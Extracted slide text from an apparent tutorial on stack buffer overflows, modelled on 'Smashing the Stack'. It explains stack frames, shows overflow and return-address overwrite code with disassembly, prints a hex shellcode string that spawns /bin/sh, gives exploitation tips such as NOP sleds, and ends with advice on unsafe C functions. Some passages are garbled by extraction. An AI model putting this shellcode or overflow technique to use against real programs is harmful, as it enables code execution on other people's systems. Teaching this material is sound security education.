smashing the stack overview the stack region buffer overflow shell program notes avoiding buffer...

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Smashing the Stack • Overview • The Stack Region • Buffer Overflow • Shell Program • Notes • Avoiding Buffer Overflows • Conclusion

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  • Smashing the Stack Overview The Stack Region Buffer Overflow Shell Program Notes Avoiding Buffer Overflows Conclusion

  • Overviewsmash the stack Corrupting the execution by writing past the end of an array declared in a routine. Can cause return from the routine to jump to a random address. Processes are divided into three regions: stack, data and text.

  • The Stack Region Contiguous block of memory containing data. Stack Pointer (SP) points to the top of the stack. Frame Pointer (FP) points to a fixed location within a frame. The stack grows down towards the lower memory addresses.

    Lower AddressesHigher AddressesFrame

  • Buffer Overflowvoid function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string);}

    buffer sfpret *str AAAAAAAAAAAAAA!segmentation fault strcpy() copies the supplied string over the smaller buffer in stack without bound checking. 240 bytes from the end buffer are overwritten.The program will most likely cause segmentation Fault.

    SoBuffer overflow allows us to change the return address of a function.

  • Buffer Overflowvoid function(int a, int b,int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; }

    void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } 0x8000490 : pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp)0x80004b2 : movl 0xfffffffc(%ebp),%eax0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop !

  • Shell Program#include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } SuggestingSSSSSSSSSSSSSbut where in the memory space?... JJSSSSSCCsssss JMP & CALL instructions can use IP relative addressingso we dont have to know the exact address of where in the memory we want to jump.

  • Shell Program#include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } but our code is modifying itself and since the code or instructions are in read-only section of memory, the OS will not allow this technique.so we set the code in hex format as global variable.char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode;}

  • Notes Different architecture have different method of running and managing a program. For example, some architectures like that of SPARC keep a good chunk of data on registers and once in a while flush to stack. Things might be well different on x86, powerPC, etc. In these examples, Intel based LINUX was used. For special cases where the whole buffer and stack memory are much smaller than the code to overwrite, we can get aid from environment variables. Use assembly NOP instruction when necessary. To overflow, be careful to avoid null pointers in your program, which is meant to overwrite a buffer. Many C functions are sensitive to null pointers and will stop!

  • Avoiding Buffer Overflows As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited.

  • ConclusionTo conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many commercial operating systems utilities where derived from the same sources as the free ones (LINUX)!